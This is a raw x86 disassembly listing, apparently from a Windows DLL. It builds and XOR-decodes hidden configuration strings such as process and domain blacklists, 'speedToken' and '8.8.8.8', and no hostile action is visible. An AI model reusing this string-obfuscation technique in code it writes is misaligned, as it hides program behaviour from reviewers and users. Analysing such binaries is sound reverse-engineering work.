mov byte [ebp - 0x186], al
mov byte [ebp - 0x185], 0
mov byte [ebp - 4], 0x76
xor esi, esi
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x18b]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x18c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x184]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x10042b10
push 6
lea ecx, [ebp - 0x184]
call fcn.1000d870
lea ecx, [ebp - 0x184]
mov byte [eax], 0
call fcn.1000d860
mov ecx, dword [ebp - 0x1058]
mov dword [ebp - 0x1164], eax
lea eax, [ebp - 0x1164]
push eax
call fcn.1004b080
lea ecx, [ebp - 0x18b]
mov esi, eax
call fcn.1000d860
xor ecx, ecx
mov byte [ebp - 4], 0x6d
mov dword [eax], ecx
mov word [eax + 4], cx
mov byte [eax + 6], cl
lea ecx, [ebp - 0x613]
call fcn.1000d860
xorps xmm0, xmm0
mov ecx, esi
movups xmmword [eax], xmm0
mov byte [eax + 0x10], 0
lea eax, [ebp - 0x1304]
push eax
call fcn.1005b1a0
lea eax, [ebp - 0x1374]
mov ecx, esi
push eax
call fcn.1005b030
lea eax, [ebp - 0x1374]
push eax
lea ecx, [ebp - 0x1304]
call fcn.1005b430
test al, al
je 0x10042c56
mov edi, dword [ebp - 0x1054]
nop dword [eax + eax]
lea ecx, [ebp - 0x1304]
call fcn.1005aab0
lea ecx, [ebp - 0xc58]
push ecx
mov ecx, eax
call fcn.1005b770
lea ecx, [ebp - 0xc58]
mov byte [ebp - 4], 0x77
call fcn.10008f50
push eax
mov ecx, edi
call fcn.10025f40
lea ecx, [ebp - 0xc58]
mov byte [ebp - 4], 0x6d
call fcn.10003210
lea ecx, [ebp - 0x1304]
call fcn.1005af70
lea eax, [ebp - 0x1374]
push eax
lea ecx, [ebp - 0x1304]
call fcn.1005b430
test al, al
jne 0x10042bf0
mov edi, dword [ebp - 0x1050]
mov esi, dword [ebp - 0x105c]
lea ecx, [esi + 0x110]
call fcn.1005d560
test al, al
je 0x10042c7b
push 0x3ec
lea ecx, [esi + 0x110]
call fcn.1005d570
push 0
push 0x62
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 0x5f0], 1
call fcn.10048a10
push 1
push 0x6c
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 0x5ef], al
call fcn.10048a10
push 2
push 0x61
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 0x5ee], al
call fcn.10048a10
push 3
push 0x63
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 0x5ed], al
call fcn.10048a10
push 4
push 0x6b
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 0x5ec], al
call fcn.10048a10
push 5
push 0x50
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 0x5eb], al
call fcn.10048a10
push 6
push 0x72
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 0x5ea], al
call fcn.10048a10
push 7
push 0x6f
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 0x5e9], al
call fcn.10048a10
push 8
push 0x63
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 0x5e8], al
call fcn.10048a10
push 9
push 0x65
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 0x5e7], al
call fcn.10048a10
push 0xa
push 0x73
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 0x5e6], al
call fcn.10048a10
push 0xb
push 0x73
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 0x5e5], al
call fcn.10048a10
push 0xc
push 0x4c
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 0x5e4], al
call fcn.10048a10
push 0xd
push 0x69
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 0x5e3], al
call fcn.10048a10
push 0xe
push 0x73
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 0x5e2], al
call fcn.10048a10
push 0xf
push 0x74
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 0x5e1], al
call fcn.10048a10
mov byte [ebp - 0x5e0], al
mov byte [ebp - 0x5df], 0
mov byte [ebp - 4], 0x78
xor esi, esi
nop
push esi
lea ecx, [ebp - 0x5ef]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x5f0]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x5de]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0x10
jb 0x10042de0
push 0x10
lea ecx, [ebp - 0x5de]
call fcn.1000d870
lea ecx, [ebp - 0x5de]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1160], eax
lea ecx, [ebp - 0x10a0]
lea eax, [ebp - 0x1160]
push eax
call fcn.1004b080
push 0
push 0x70
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x1058], eax
mov byte [ebp - 0x248], 6
call fcn.10048a10
push 1
push 0x72
lea ecx, [ebp - 0x248]
mov byte [ebp - 0x247], al
call fcn.10048a10
push 2
push 0x6f
lea ecx, [ebp - 0x248]
mov byte [ebp - 0x246], al
call fcn.10048a10
push 3
push 0x63
lea ecx, [ebp - 0x248]
mov byte [ebp - 0x245], al
call fcn.10048a10
push 4
push 0x65
lea ecx, [ebp - 0x248]
mov byte [ebp - 0x244], al
call fcn.10048a10
push 5
push 0x73
lea ecx, [ebp - 0x248]
mov byte [ebp - 0x243], al
call fcn.10048a10
push 6
push 0x73
lea ecx, [ebp - 0x248]
mov byte [ebp - 0x242], al
call fcn.10048a10
mov byte [ebp - 0x241], al
mov byte [ebp - 0x240], 0
mov byte [ebp - 4], 0x79
xor esi, esi
nop dword [eax]
push esi
lea ecx, [ebp - 0x247]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x248]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x23f]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 7
jb 0x10042f00
push 7
lea ecx, [ebp - 0x23f]
call fcn.1000d870
lea ecx, [ebp - 0x23f]
mov byte [eax], 0
call fcn.1000d860
mov ecx, dword [ebp - 0x1058]
mov dword [ebp - 0x115c], eax
lea eax, [ebp - 0x115c]
push eax
call fcn.1004b080
lea ecx, [ebp - 0x247]
mov esi, eax
call fcn.1000d860
xorps xmm0, xmm0
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0x5ef]
movq qword [eax], xmm0
call fcn.1000d860
xorps xmm0, xmm0
mov ecx, esi
movups xmmword [eax], xmm0
mov byte [eax + 0x10], 0
lea eax, [ebp - 0x12d4]
push eax
call fcn.1005b1a0
lea eax, [ebp - 0x13c8]
mov ecx, esi
push eax
call fcn.1005b030
lea eax, [ebp - 0x13c8]
push eax
lea ecx, [ebp - 0x12d4]
call fcn.1005b430
test al, al
je 0x1004303a
mov edi, dword [ebp - 0x1060]
lea ecx, [ebp - 0x12d4]
call fcn.1005aab0
lea ecx, [ebp - 0xc10]
push ecx
mov ecx, eax
call fcn.1005b770
lea ecx, [ebp - 0xc10]
mov byte [ebp - 4], 0x7a
call fcn.10008f50
push eax
mov ecx, edi
call fcn.100306e0
lea ecx, [ebp - 0xc10]
mov byte [ebp - 4], 0x6d
call fcn.10003210
lea ecx, [ebp - 0x12d4]
call fcn.1005af70
lea eax, [ebp - 0x13c8]
push eax
lea ecx, [ebp - 0x12d4]
call fcn.1005b430
test al, al
jne 0x10042fd4
mov edi, dword [ebp - 0x1050]
mov esi, dword [ebp - 0x105c]
lea ecx, [esi + 0x110]
call fcn.1005d560
test al, al
je 0x1004305f
push 0x3ed
lea ecx, [esi + 0x110]
call fcn.1005d570
push 0
push 0x62
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 0x6c8], 0x22
call fcn.10048a10
push 1
push 0x6c
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 0x6c7], al
call fcn.10048a10
push 2
push 0x61
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 0x6c6], al
call fcn.10048a10
push 3
push 0x63
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 0x6c5], al
call fcn.10048a10
push 4
push 0x6b
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 0x6c4], al
call fcn.10048a10
push 5
push 0x50
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 0x6c3], al
call fcn.10048a10
push 6
push 0x72
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 0x6c2], al
call fcn.10048a10
push 7
push 0x6f
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 0x6c1], al
call fcn.10048a10
push 8
push 0x63
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 0x6c0], al
call fcn.10048a10
push 9
push 0x65
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 0x6bf], al
call fcn.10048a10
push 0xa
push 0x73
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 0x6be], al
call fcn.10048a10
push 0xb
push 0x73
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 0x6bd], al
call fcn.10048a10
push 0xc
push 0x4c
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 0x6bc], al
call fcn.10048a10
push 0xd
push 0x69
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 0x6bb], al
call fcn.10048a10
push 0xe
push 0x73
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 0x6ba], al
call fcn.10048a10
push 0xf
push 0x74
lea ecx, [ebp - 0x6c8]
mov byte [ebp - 0x6b9], al
call fcn.10048a10
mov byte [ebp - 0x6b8], al
mov byte [ebp - 0x6b7], 0
mov byte [ebp - 4], 0x7b
xor esi, esi
push esi
lea ecx, [ebp - 0x6c7]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x6c8]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x6b6]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0x10
jb 0x100431c3
push 0x10
lea ecx, [ebp - 0x6b6]
call fcn.1000d870
lea ecx, [ebp - 0x6b6]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1158], eax
lea ecx, [ebp - 0x10a0]
lea eax, [ebp - 0x1158]
push eax
call fcn.1004b080
push 0
push 0x64
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x1058], eax
mov byte [ebp - 0x19c], 0x44
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x19c]
mov byte [ebp - 0x19b], al
call fcn.10048a10
push 2
push 0x6d
lea ecx, [ebp - 0x19c]
mov byte [ebp - 0x19a], al
call fcn.10048a10
push 3
push 0x61
lea ecx, [ebp - 0x19c]
mov byte [ebp - 0x199], al
call fcn.10048a10
push 4
push 0x69
lea ecx, [ebp - 0x19c]
mov byte [ebp - 0x198], al
call fcn.10048a10
push 5
push 0x6e
lea ecx, [ebp - 0x19c]
mov byte [ebp - 0x197], al
call fcn.10048a10
mov byte [ebp - 0x196], al
mov byte [ebp - 0x195], 0
mov byte [ebp - 4], 0x7c
xor esi, esi
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x19b]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x19c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x194]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x100432d0
push 6
lea ecx, [ebp - 0x194]
call fcn.1000d870
lea ecx, [ebp - 0x194]
mov byte [eax], 0
call fcn.1000d860
mov ecx, dword [ebp - 0x1058]
mov dword [ebp - 0x1154], eax
lea eax, [ebp - 0x1154]
push eax
call fcn.1004b080
lea ecx, [ebp - 0x19b]
mov esi, eax
call fcn.1000d860
xor ecx, ecx
mov byte [ebp - 4], 0x6d
mov dword [eax], ecx
mov word [eax + 4], cx
mov byte [eax + 6], cl
lea ecx, [ebp - 0x6c7]
call fcn.1000d860
xorps xmm0, xmm0
mov ecx, esi
movups xmmword [eax], xmm0
mov byte [eax + 0x10], 0
lea eax, [ebp - 0x1294]
push eax
call fcn.1005b1a0
lea eax, [ebp - 0x1384]
mov ecx, esi
push eax
call fcn.1005b030
lea eax, [ebp - 0x1384]
push eax
lea ecx, [ebp - 0x1294]
call fcn.1005b430
test al, al
je 0x10043416
mov edi, dword [ebp - 0x1054]
nop dword [eax + eax]
lea ecx, [ebp - 0x1294]
call fcn.1005aab0
lea ecx, [ebp - 0xb50]
push ecx
mov ecx, eax
call fcn.1005b770
lea ecx, [ebp - 0xb50]
mov byte [ebp - 4], 0x7d
call fcn.10008f50
push eax
mov ecx, edi
call fcn.10025fa0
lea ecx, [ebp - 0xb50]
mov byte [ebp - 4], 0x6d
call fcn.10003210
lea ecx, [ebp - 0x1294]
call fcn.1005af70
lea eax, [ebp - 0x1384]
push eax
lea ecx, [ebp - 0x1294]
call fcn.1005b430
test al, al
jne 0x100433b0
mov edi, dword [ebp - 0x1050]
mov esi, dword [ebp - 0x105c]
lea ecx, [esi + 0x110]
call fcn.1005d560
test al, al
je 0x1004343b
push 0x3ee
lea ecx, [esi + 0x110]
call fcn.1005d570
push 0
push 0x62
lea ecx, [ebp - 0x560]
mov byte [ebp - 0x560], 8
call fcn.10048a10
push 1
push 0x6c
lea ecx, [ebp - 0x560]
mov byte [ebp - 0x55f], al
call fcn.10048a10
push 2
push 0x61
lea ecx, [ebp - 0x560]
mov byte [ebp - 0x55e], al
call fcn.10048a10
push 3
push 0x63
lea ecx, [ebp - 0x560]
mov byte [ebp - 0x55d], al
call fcn.10048a10
push 4
push 0x6b
lea ecx, [ebp - 0x560]
mov byte [ebp - 0x55c], al
call fcn.10048a10
push 5
push 0x44
lea ecx, [ebp - 0x560]
mov byte [ebp - 0x55b], al
call fcn.10048a10
push 6
push 0x6f
lea ecx, [ebp - 0x560]
mov byte [ebp - 0x55a], al
call fcn.10048a10
push 7
push 0x6d
lea ecx, [ebp - 0x560]
mov byte [ebp - 0x559], al
call fcn.10048a10
push 8
push 0x61
lea ecx, [ebp - 0x560]
mov byte [ebp - 0x558], al
call fcn.10048a10
push 9
push 0x69
lea ecx, [ebp - 0x560]
mov byte [ebp - 0x557], al
call fcn.10048a10
push 0xa
push 0x6e
lea ecx, [ebp - 0x560]
mov byte [ebp - 0x556], al
call fcn.10048a10
push 0xb
push 0x4c
lea ecx, [ebp - 0x560]
mov byte [ebp - 0x555], al
call fcn.10048a10
push 0xc
push 0x69
lea ecx, [ebp - 0x560]
mov byte [ebp - 0x554], al
call fcn.10048a10
push 0xd
push 0x73
lea ecx, [ebp - 0x560]
mov byte [ebp - 0x553], al
call fcn.10048a10
push 0xe
push 0x74
lea ecx, [ebp - 0x560]
mov byte [ebp - 0x552], al
call fcn.10048a10
mov byte [ebp - 0x551], al
mov byte [ebp - 0x550], 0
mov byte [ebp - 4], 0x7e
xor esi, esi
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x55f]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x560]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x54f]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0xf
jb 0x10043590
push 0xf
lea ecx, [ebp - 0x54f]
call fcn.1000d870
lea ecx, [ebp - 0x54f]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1150], eax
lea ecx, [ebp - 0x10a0]
lea eax, [ebp - 0x1150]
push eax
call fcn.1004b080
lea ecx, [ebp - 0x55f]
mov byte [ebp - 4], 0x6d
mov esi, eax
call fcn.1000d860
xorps xmm0, xmm0
mov ecx, esi
movups xmmword [eax], xmm0
lea eax, [ebp - 0x1284]
push eax
call fcn.1005b1a0
lea eax, [ebp - 0x1394]
mov ecx, esi
push eax
call fcn.1005b030
lea eax, [ebp - 0x1394]
push eax
lea ecx, [ebp - 0x1284]
call fcn.1005b430
test al, al
je 0x100436b6
mov edi, dword [ebp - 0x1054]
nop
lea ecx, [ebp - 0x1284]
call fcn.1005aab0
lea ecx, [ebp - 0xb98]
push ecx
mov ecx, eax
call fcn.1005b770
lea ecx, [ebp - 0xb98]
mov byte [ebp - 4], 0x7f
call fcn.10008f50
push eax
mov ecx, edi
call fcn.10026000
lea ecx, [ebp - 0xb98]
mov byte [ebp - 4], 0x6d
call fcn.10003210
lea ecx, [ebp - 0x1284]
call fcn.1005af70
lea eax, [ebp - 0x1394]
push eax
lea ecx, [ebp - 0x1284]
call fcn.1005b430
test al, al
jne 0x10043650
mov edi, dword [ebp - 0x1050]
push 0
push 0x70
lea ecx, [ebp - 0x584]
mov byte [ebp - 0x584], 0xb
call fcn.10048a10
push 1
push 0x72
lea ecx, [ebp - 0x584]
mov byte [ebp - 0x583], al
call fcn.10048a10
push 2
push 0x6f
lea ecx, [ebp - 0x584]
mov byte [ebp - 0x582], al
call fcn.10048a10
push 3
push 0x63
lea ecx, [ebp - 0x584]
mov byte [ebp - 0x581], al
call fcn.10048a10
push 4
push 0x65
lea ecx, [ebp - 0x584]
mov byte [ebp - 0x580], al
call fcn.10048a10
push 5
push 0x73
lea ecx, [ebp - 0x584]
mov byte [ebp - 0x57f], al
call fcn.10048a10
push 6
push 0x73
lea ecx, [ebp - 0x584]
mov byte [ebp - 0x57e], al
call fcn.10048a10
push 7
push 0x53
lea ecx, [ebp - 0x584]
mov byte [ebp - 0x57d], al
call fcn.10048a10
push 8
push 0x69
lea ecx, [ebp - 0x584]
mov byte [ebp - 0x57c], al
call fcn.10048a10
push 9
push 0x67
lea ecx, [ebp - 0x584]
mov byte [ebp - 0x57b], al
call fcn.10048a10
push 0xa
push 0x6e
lea ecx, [ebp - 0x584]
mov byte [ebp - 0x57a], al
call fcn.10048a10
push 0xb
push 0x4c
lea ecx, [ebp - 0x584]
mov byte [ebp - 0x579], al
call fcn.10048a10
push 0xc
push 0x69
lea ecx, [ebp - 0x584]
mov byte [ebp - 0x578], al
call fcn.10048a10
push 0xd
push 0x73
lea ecx, [ebp - 0x584]
mov byte [ebp - 0x577], al
call fcn.10048a10
push 0xe
push 0x74
lea ecx, [ebp - 0x584]
mov byte [ebp - 0x576], al
call fcn.10048a10
mov byte [ebp - 0x575], al
mov byte [ebp - 0x574], 0
mov byte [ebp - 4], 0x80
xor esi, esi
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x583]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x584]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x573]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0xf
jb 0x10043810
push 0xf
lea ecx, [ebp - 0x573]
call fcn.1000d870
lea ecx, [ebp - 0x573]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x114c], eax
lea ecx, [ebp - 0x10a0]
lea eax, [ebp - 0x114c]
push eax
call fcn.1004b080
lea ecx, [ebp - 0x583]
mov esi, eax
call fcn.1000d860
xorps xmm0, xmm0
mov ecx, esi
movups xmmword [eax], xmm0
lea eax, [ebp - 0x10a4]
push eax
call fcn.10048fd0
lea eax, [ebp - 0xad8]
push eax
lea ecx, [ebp - 0x10a4]
call fcn.10048c40
lea eax, [ebp - 0xe98]
push eax
lea ecx, [ebp - 0x10a4]
call fcn.10048ba0
lea eax, [ebp - 0xe98]
mov byte [ebp - 4], 0x82
push eax
lea ecx, [ebp - 0xad8]
call fcn.1005add0
test al, al
jne 0x10043a73
mov edi, dword [ebp - 0x1068]
nop dword [eax + eax]
lea ecx, [ebp - 0xad8]
call fcn.10048a40
push eax
lea ecx, [ebp - 0xbc8]
call fcn.10003430
lea eax, [ebp - 0x108d]
mov byte [ebp - 4], 0x83
push eax
lea eax, [ebp - 0x108e]
push eax
push dword [ebp - 0x1068]
lea ecx, [ebp - 0x10d0]
call fcn.10024230
lea ecx, [ebp - 0x10d0]
call fcn.10023e30
lea ecx, [ebp - 0xad8]
mov byte [ebp - 4], 0x84
call fcn.1005aab0
mov esi, eax
lea ecx, [ebp - 0x1274]
push esi
call fcn.1005b0e0
lea ecx, [ebp - 0x1274]
call fcn.1005b140
push esi
lea ecx, [ebp - 0x1314]
call fcn.1005b0e0
lea ecx, [ebp - 0x1314]
call fcn.1005afe0
lea eax, [ebp - 0x1314]
push eax
lea ecx, [ebp - 0x1274]
call fcn.1005add0
test al, al
jne 0x10043a01
nop word [eax + eax]
lea ecx, [ebp - 0x1274]
call fcn.1005aab0
push edi
lea ecx, [ebp - 0xbb0]
push ecx
mov ecx, eax
call fcn.1005b670
or dword [ebp - 0x1050], 0x1000
lea eax, [ebp - 0xbb0]
mov byte [ebp - 4], 0x85
push eax
lea eax, [ebp - 0x14b0]
push eax
lea ecx, [ebp - 0x10d0]
call fcn.10026580
lea ecx, [ebp - 0xbb0]
mov byte [ebp - 4], 0x84
call fcn.10003210
lea ecx, [ebp - 0x1274]
call fcn.1005af70
lea eax, [ebp - 0x1314]
push eax
lea ecx, [ebp - 0x1274]
call fcn.1005add0
test al, al
je 0x10043990
sub esp, 0x18
lea eax, [ebp - 0xbc8]
mov ecx, esp
push eax
call fcn.10003430
mov esi, dword [ebp - 0x1060]
lea eax, [ebp - 0x10d0]
push eax
mov ecx, esi
call fcn.10030bf0
lea ecx, [ebp - 0x10d0]
call fcn.10023280
lea ecx, [ebp - 0xbc8]
mov byte [ebp - 4], 0x82
call fcn.10003210
lea ecx, [ebp - 0xad8]
call fcn.1005af70
inc dword [ebp - 0xac8]
lea eax, [ebp - 0xe98]
push eax
lea ecx, [ebp - 0xad8]
call fcn.1005add0
test al, al
je 0x100438f0
mov edi, dword [ebp - 0x1050]
jmp 0x10043a79
mov esi, dword [ebp - 0x1060]
lea ecx, [ebp - 0xe68]
call fcn.10003210
lea ecx, [ebp - 0xe80]
call fcn.10003210
lea ecx, [ebp - 0xaa8]
call fcn.10003210
lea ecx, [ebp - 0xac0]
call fcn.10003210
mov cl, 0x41
mov dword [ebp - 0x230], 0x796f796f
mov al, cl
mov dword [ebp - 0x234], 0x796f7941
mov dl, 0x79
mov byte [ebp - 0x22c], 0
xor al, dl
mov byte [ebp - 0x224], 0
mov byte [ebp - 0x22b], al
mov ah, 0x6f
mov al, cl
mov ch, dl
xor al, ah
mov dh, ah
mov byte [ebp - 0x22a], al
mov al, cl
xor al, ch
mov byte [ebp - 0x229], al
mov al, cl
xor al, dh
mov byte [ebp - 0x228], al
mov al, cl
xor al, byte [ebp - 0x22f]
mov byte [ebp - 0x227], al
mov al, cl
xor al, byte [ebp - 0x22e]
xor cl, byte [ebp - 0x22d]
mov byte [ebp - 0x226], al
lea eax, [ebp - 0x22b]
push eax
mov byte [ebp - 0x225], cl
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esi + 0x2e8], eax
xorps xmm0, xmm0
mov eax, dword [ebx + 8]
movq qword [ebp - 0x233], xmm0
movaps xmm0, xmmword [str._KLFH_BOH_HHI]
mov dword [esi + 0x298], eax
mov byte [esi + 0x27c], 1
mov dword [esi + 0x30], 3
movups xmmword [ebp - 0x9c8], xmm0
mov byte [ebp - 4], 0x86
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x9c7]
xor al, byte [ebp - 0x9c8]
mov byte [ebp + ecx - 0x9b8], al
inc ecx
cmp ecx, 0xe
jb 0x10043b70
lea eax, [ebp - 0x9b8]
mov byte [ebp - 0x9aa], 0
mov dword [ebp - 0x1148], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1148]
push eax
call fcn.1004b080
lea edx, [ebp - 0x1062]
mov byte [ebp - 0x1062], 0
mov ecx, eax
call fcn.100523e0
mov byte [ebp - 4], 0x6d
xorps xmm0, xmm0
cmp byte [ebp - 0x1062], 0
movq qword [ebp - 0x9c7], xmm0
mov dword [ebp - 0x9bf], 0
mov word [ebp - 0x9bb], 0
mov byte [ebp - 0x9b9], 0
je 0x10043c04
call fcn.100286d0
push dword [ebx + 8]
mov ecx, eax
call fcn.10038210
movaps xmm0, xmmword [0x100efe70]
movups xmmword [ebp - 0xa44], xmm0
mov word [ebp - 0xa34], 0xa13
mov byte [ebp - 0xa32], 0
mov byte [ebp - 4], 0x87
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0xa43]
xor al, byte [ebp - 0xa44]
mov byte [ebp + ecx - 0xa31], al
inc ecx
cmp ecx, 0x11
jb 0x10043c30
lea eax, [ebp - 0xa31]
mov byte [ebp - 0xa20], 0
mov dword [ebp - 0x1144], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1144]
push eax
call fcn.1004b080
push eax
lea ecx, [ebp - 0x1088]
call fcn.1005a930
xorps xmm0, xmm0
mov word [ebp - 0xa33], 0
movups xmmword [ebp - 0xa43], xmm0
mov cl, 0x33
mov dword [ebp - 0x84], 0x56404633
mov dl, 0x46
mov dword [ebp - 0x80], 0x577a41
mov ah, 0x40
mov ch, 0x56
mov dh, 0x41
mov byte [ebp - 4], 0x8a
mov al, cl
xor al, dl
mov byte [ebp - 0x76], 0
mov byte [ebp - 0x7c], al
mov al, cl
xor al, ah
mov byte [ebp - 0x7b], al
mov al, cl
xor al, ch
mov byte [ebp - 0x7a], al
mov al, cl
xor al, dh
mov byte [ebp - 0x79], al
mov al, cl
xor al, byte [ebp - 0x7f]
xor cl, byte [ebp - 0x7e]
mov byte [ebp - 0x78], al
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x1140], eax
lea eax, [ebp - 0x1140]
mov byte [ebp - 0x77], cl
lea ecx, [ebp - 0x1088]
push eax
call fcn.1004b080
push dword [ebp - 0x1068]
mov ecx, eax
call fcn.1004ee20
mov dword [esi + 0x38], eax
mov ch, 0x6c
mov dword [esi + 0x3c], edx
xor eax, eax
mov dword [ebp - 0x83], eax
mov cl, 9
mov word [ebp - 0x7f], ax
mov dl, 0x7a
mov byte [ebp - 0x7d], al
mov ah, 0x79
mov dword [ebp - 0x74], 0x6c797a09
mov dh, ch
mov dword [ebp - 0x70], 0x665d6d6c
mov dword [ebp - 0x6c], 0x676c62
mov byte [ebp - 4], 0x8b
mov al, cl
xor al, dl
mov byte [ebp - 0x68], al
mov al, cl
xor al, ah
mov byte [ebp - 0x67], al
mov al, cl
xor al, ch
mov byte [ebp - 0x66], al
mov al, cl
xor al, dh
mov byte [ebp - 0x65], al
mov al, cl
xor al, byte [ebp - 0x6f]
mov byte [ebp - 0x64], al
mov al, cl
xor al, byte [ebp - 0x6e]
mov byte [ebp - 0x63], al
mov al, cl
xor al, byte [ebp - 0x6d]
mov byte [ebp - 0x62], al
mov al, cl
xor al, byte [ebp - 0x6c]
mov byte [ebp - 0x61], al
mov al, cl
xor al, byte [ebp - 0x6b]
xor cl, byte [ebp - 0x6a]
mov byte [ebp - 0x60], al
lea eax, [ebp - 0x68]
mov dword [ebp - 0x1258], eax
lea eax, [ebp - 0x1258]
mov byte [ebp - 0x5f], cl
lea ecx, [ebp - 0x1088]
push eax
mov byte [ebp - 0x5e], 0
call fcn.1004b080
push dword [ebp - 0x1068]
mov ecx, eax
call fcn.1004ee20
mov dword [esi + 0x40], eax
xorps xmm0, xmm0
mov dword [esi + 0x44], edx
mov ch, 0x72
movq qword [ebp - 0x73], xmm0
mov cl, 0x17
mov word [ebp - 0x6b], 0
mov dl, 0x64
mov byte [ebp - 0x69], 0
mov ah, 0x67
mov dword [ebp - 0x13c], 0x72676417
mov dh, ch
mov dword [ebp - 0x138], 0x7e437372
mov word [ebp - 0x134], 0x727a
mov byte [ebp - 0x132], 0
mov byte [ebp - 4], 0x8c
mov al, cl
xor al, dl
mov byte [ebp - 0x128], 0
mov byte [ebp - 0x131], al
mov al, cl
xor al, ah
mov byte [ebp - 0x130], al
mov al, cl
xor al, ch
mov byte [ebp - 0x12f], al
mov al, cl
xor al, dh
mov byte [ebp - 0x12e], al
mov al, cl
xor al, byte [ebp - 0x137]
mov byte [ebp - 0x12d], al
mov al, cl
xor al, byte [ebp - 0x136]
mov byte [ebp - 0x12c], al
mov al, cl
xor al, byte [ebp - 0x135]
mov byte [ebp - 0x12b], al
mov al, cl
xor al, byte [ebp - 0x134]
xor cl, byte [ebp - 0x133]
mov byte [ebp - 0x12a], al
lea eax, [ebp - 0x131]
mov dword [ebp - 0x1254], eax
lea eax, [ebp - 0x1254]
mov byte [ebp - 0x129], cl
lea ecx, [ebp - 0x1088]
push eax
call fcn.1004b080
push dword [ebp - 0x1068]
mov ecx, eax
call fcn.1004ee20
mov dword [esi + 0x290], eax
xorps xmm0, xmm0
mov dword [esi + 0x294], edx
movq qword [ebp - 0x13b], xmm0
mov dl, 0x37
mov word [ebp - 0x133], 0
mov dword [ebp - 0x8e4], 0x52474437
mov dword [ebp - 0x8e0], 0x52615352
mov dword [ebp - 0x8dc], 0x585e4445
mov word [ebp - 0x8d8], 0x59
mov byte [ebp - 4], 0x8d
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x8e3]
xor al, dl
mov byte [ebp + ecx - 0x8d6], al
inc ecx
cmp ecx, 0xc
jae 0x10043f0e
mov dl, byte [ebp - 0x8e4]
jmp 0x10043ef0
lea eax, [ebp - 0x8d6]
mov byte [ebp - 0x8ca], 0
mov dword [ebp - 0x1250], eax
lea ecx, [ebp - 0x1088]
lea eax, [ebp - 0x1250]
push eax
call fcn.1004b080
